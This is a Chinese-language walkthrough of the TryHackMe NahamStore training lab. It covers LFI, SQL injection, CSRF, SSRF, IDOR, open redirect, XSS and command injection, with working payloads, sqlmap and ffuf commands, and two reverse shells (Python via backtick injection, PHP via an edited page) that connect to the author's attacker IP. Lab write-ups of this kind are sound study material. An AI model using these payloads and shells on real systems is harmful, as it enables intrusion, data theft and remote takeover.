当前位置: 首页 > news >正文

TryHackMe-NahamStore(常见web漏洞 大杂烩)

NahamStore

  • 漏洞赏金
  • web安全

NahamStore的创建是为了测试您在NahamSec的“漏洞赏金狩猎和Web应用程序黑客入门”Udemy课程中学到的知识。 部署计算机,获得 IP 地址后,进入下一步!


写在前面

可能我的顺序,跟别人以及题目都不太一样,有点乱,但是这是正常的。

这个房间很有意思,涵盖了许多常见web漏洞


设置

要开始挑战,您需要在 /etc/hosts 或 c:\windows\system32\drivers\etc\hosts 文件指向 您部署的 TryHackMe 盒子。

例如:

10.10.110.169                  nahamstore.thm

什么时候 枚举子域时,应针对 nahamstore.com 域执行该枚举。找到子域后,您需要在 /etc/hosts 或 c:\windows\system32\drivers\etc\hosts 文件指向 朝向已部署的 TryHackMe 盒子 IP 地址,并将.com替换为 。.thm。例如,如果您发现子域 whatever.nahamstore.com 您将添加以下条目:

10.10.110.169          something.nahamstore.thm

您现在可以在浏览器中查看 http://something.nahamstore.thm。

任务可以按任何顺序执行,但我们建议从子域枚举开始。


端口扫描

循例 nmap扫:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

进入80端口的web

在这里插入图片描述

LFI

查看源代码,首先发现的就是:

在这里插入图片描述

可能存在文件包含

经过尝试,后端仅仅只是过滤掉"点点杠" 并没有禁止访问

因此使用:

....//....//....//....//....//

就可以绕过,但是几乎没有权限访问许多文件

题目告诉我们flag在/lfi/flag.txt,最终payload:

http://nahamstore.thm/product/picture/?file=....//....//....//....//....//....//lfi/flag.txt

注意:flag只有抓包才能看见,flag在响应体中

在这里插入图片描述

sql injection - 1

主页有两篇东西,随便点击去发现可能存在sql注入

在这里插入图片描述

存在sql注入,题目告诉我们flag在sqli_one表的flag列中,直接查看flag

在这里插入图片描述

CSRF - 1

后台修改密码处,抓包查看,很明显,这里很可能会导致csrf攻击

在这里插入图片描述

CSRF - 2

修改邮箱处

在这里插入图片描述

虽然有csrf_token,但是后端弱验证,只需要将csrf_protect删除,一样可以修改成功

在这里插入图片描述

CSRF - 3

删除用户处

在这里插入图片描述

很明显,这里的csrf_token是用base64编码的,并且是固定的数值

SQL Injection - 2

后台退货处

在这里插入图片描述

随便输了点东西,看这个回显,看到order number我一下联想到sql注入

在这里插入图片描述

果然,时间盲注,POC:

-1;  select * from  sqli_two where flag like '{212%' or sleep(5);--

爆字符这种无聊的事情就交给sqlmap去做吧

sqlmap -r ./req -D nahamstore -T sqli_two -C flag --dump

在这里插入图片描述

SSRF

在商品的“check stock”按钮,发现该请求的参数包含一个域名,使用@符绕过成功访问到攻击机

在这里插入图片描述
在stock.nahamstore.thm中也没有什么发现,

我对着所有子域以及进行了目录扫描,均没有发现什么

所以可以猜测stock.nahamstore.thm调用内部的api,现在有ssrf,我们可以利用其来帮助我们探测内部信息

一开始我直接对着server开冲,结果ffuf扫了上百万条都没扫出来

server=stock.nahamstore.thm@FUZZ.nahamstore.thm

然后我又去看看题目:

  • 应用程序存在 SSRF 漏洞,请参阅如何利用它来查看不应可用的 API。

也就是说子域名字包含api,但又不是api那么有可能是:

xxx-api.nahamstore.thm

然后又开扫,又没扫出来,然后我打开wireshark,发现全是:

 504 Gateway Time-out
 又或者 Bad Gateway

我仔细想了想,然后在扫描的过程中访问nahamstore.thm,发现也访问不进去了

这时候我懂了,扫描变ddos了,直接给它给d死了

然后我将ffuf线程数降低到10以下,虽然很慢很卡,但至少不死,至少还有响应回来

在这里插入图片描述

成功扫到,即internal-api子域

payload:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://nahamstore.thm/stockcheck' -X POST -d 'product_id=2&server=stock.nahamstore.thm@FUZZ-api.nahamstore.thm' -H 'Host: nahamstore.thm' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -t 5

查看internal-api.nahamstore.thm:

{"error":"Unknown Endpoint or Method Requested"}

嗯,应该是product/2拼接到了internal-api.nahamstore.thm

我们可以使用#注释掉后面的东西:

product_id=2&server=stock.nahamstore.thm@internal-api.nahamstore.thm#

结果:

{"server":"internal-api.nahamstore.com","endpoints":["\/orders"]}

访问/orders

在这里插入图片描述

通过这些id访问,这些是订单信息,题目要求我们找到Jimmy Jones的信用卡号码,那就挨个挨个找一下

在这里插入图片描述

Open Redirect - 1

在添加地址这里,添加的这个包通过参数redirect_url来进行重定向到/basket

在这里插入图片描述

IDOR - 1

紧接着在选择已有的地址的时候,有一个包存在IDOR

在这里插入图片描述

成功越权访问到其他用户的订单

IDOR - 2

紧接着在后台的order,查看以购买的商品订单,有一个转pdf的功能,抓包改包:

在这里插入图片描述

回显:

Order does not belong to this user_id

尝试添加user_id依然不行

这里需要使用%26进行绕过

在这里插入图片描述

在这里插入图片描述

为什么可以这样做?

通过这张图片,其实对这里还有一个疑问为什么这能绕过

我想明白了。

首先,/pdf-generator只接收两个参数:what和id

所以我们尝试各种传入user_id都没有被正常处理

  • 那为什么可以%26绕过呢?
  • user_id又是如何被正常解析出来并被处理的呢?

你可能会想/pdf-generator将url参数参数二次解析了,第二次解析的时候将user_id解析了出来,

我告诉你,对一半,既然/pdf-generator只接受what和id,说明程序不会从http请求中提取user_id来操作,不要求user_id,即使二次解析将user_id解析出来又有什么用呢,程序又不会使用url参数中的user_id。

那,为什么对一半呢,因为它确实是二次解析:

首先

/pdf-generator的功能并不是由它自身来完成,而是像上面ssrf一样,调用了某个api来完成相应的操作,而api需要user_id

当我们使用%26的时候在/pdf-generator就会被解析为:

what=order
id=%26user_id=3

这时候user_id包含在id参数中

当/pdf-generator拿着这两个参数去请求api的时候:

what=order&id=&user_id=3

由于一次urldecode,这一次user_id被正常拼接到parameters中

最终api将会解析出三个参数,api将获得并使用我们传递的user_id

good

Open Redirect - 2

对着nahamstore.thm/?FUZZ=http://baidu.com进行fuzz:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u 'http://nahamstore.thm/?FUZZ=http://baidu.com' -mc 301,302

r                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 254ms]

收工,睡觉,剩下的漏洞明天再找

XSS - 1

访问marketing.nahamstore.thm,随便访问一个不存在的页面,返回了/?error,通过error回显错误信息

在这里插入图片描述

XSS - 2

添加商品到购物车,在购物车点击商品会附带name参数,查看源代码可以发现该参数控制页面title标签,很容易就可以绕过

在这里插入图片描述

XSS - 3

购买商品,付款这里,购买后会显示user agent,burp修改ua

在这里插入图片描述

在这里插入图片描述

XSS - 4

商品退货处,查看源代码可以看到被textarea包裹,也是简单绕过

在这里插入图片描述

</textarea><script>alert('hack');</script>

在这里插入图片描述

XSS - 5

访问任意不存在的目录,路径会注入到页面中,也是简单标签绕过

在这里插入图片描述

XSS - 6

主页的搜索表单中,查看源代码:

</html><script>
    var search = ''alert('hack')'';
    $.get('/search-products?q=' + search,function(resp){
        if( resp.length == 0 ){

            $('.product-list').html('<div class="text-center" style="margin:10px">No matching products found</div>');

        }else {
            $.each(resp, function (a, b) {
                $('.product-list').append('<div class="col-md-4">' +
                    '<div class="product_holder" style="border:1px solid #ececec;padding: 15px;margin-bottom:15px">' +
                    '<div class="image text-center"><a href="/product?id=' + b.id + '"><img class="img-thumbnail" src="/product/picture/?file=' + b.img + '.jpg"></a></div>' +
                    '<div class="text-center" style="font-size:20px"><strong><a href="/product?id=' + b.id + '">' + b.name + '</a></strong></div>' +
                    '<div class="text-center"><strong>$' + b.cost + '</strong></div>' +
                    '<div class="text-center" style="margin-top:10px"><a href="/product?id=' + b.id + '" class="btn btn-success">View</a></div>' +
                    '</div>' +
                    '</div>');
            });
        }
    });
</script>

很明显,我们输入的数据被拼接到search变量中,通过字符串拼接“+”来达到逃逸引号并且被正常执行的目的:

'%2balert('hack');%2b'

注意需要将加号进行urlencode

在这里插入图片描述

XSS - 7

在商品页面处

在这里插入图片描述

post参数discount没有用处,但是把它拿到get请求上来,猜测discount从$_REQUEST从取参数,将会覆盖掉discount的初始值

但是这里会把单引号和括号给过滤掉,我们这里需要使用双引号逃逸,如果尝试:

在这里插入图片描述

很明显,这是不行的,可以将后面的双引号作为其他参数:

在这里插入图片描述

这样alert将被成功执行:

在这里插入图片描述

RCE - 1

对于rce,这个站基本上许多功能都看完了,应该没有哪里能rce,所以我把眼光放到了调用api的那两个页面上

没错,又是那个转pdf的功能,对着idfuzzing

最终结果是使用反引号就可以执行任意命令

在这里插入图片描述

这里通过python来getshell,payload:

what=order&id=5`python3+-c+'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'`

在这里插入图片描述

验证想法

还记得昨天的idor吗,通过shell,我找到了相关代码:

在这里插入图片描述

我的猜想果然没错

侦察

利用rce,查看/etc/hosts,发现几个子域:

172.17.0.1      nahamstore-2020.nahamstore.thm
172.17.0.1      nahamstore-2020-dev.nahamstore.thm

在这里插入图片描述

对着api再扫一波:

在这里插入图片描述

/api/customers回显:

"customer_id is required"

简单枚举一下就可以找到Jimmy Jones的ssn

在这里插入图片描述

RCE - 2

8000端口的web什么都没有,扫一波

在这里插入图片描述

这是一个登录页面,弱口令就进去了 admin:admin

很明显能看出,这里后台可以编辑marketing子域的页面

修改页面为payload:

<?php
$sock=fsockopen("10.14.39.48",8888);$proc=proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

访问被修改的页面,成功getshell:

在这里插入图片描述

XXE

我对XXE还是比较陌生,所以这里也是看wp学着做的,事后去多了解了一下xxe

结束

打了两天,回顾了许多当时渗透测试基础path中的web以及owasp top 10,我觉得我对xxe还是比较生疏,得找几道xxe的题做做。

全程burp suite立大功

整体来讲,这个房间真的非常不错,前几天我一直不舍得打,一直留到现在,如果有更多这样的房间那就太好了

相关文章:

  • 【Java入门】Java数据类型
  • Spring三级缓存
  • 【每日一道智力题】之 轮流取石子(尼姆博弈的详解)
  • linux——高级信号
  • 手把手教你学51单片机-如何学习单片机
  • x86启动流程
  • [ROS2 入门] rqt_console 使用介绍
  • 丝绸之路也可以是科技传播之路
  • 技术分享 | 常用测试策略与测试手段
  • Kinect与TOF、双目、结构光相机比较相机国产、非国产统计参数对比分析
  • 【C语言】动态内存实现通讯录(malloc,calloc,realloc)
  • [MRCTF2020]Ezaudit(随机数的安全)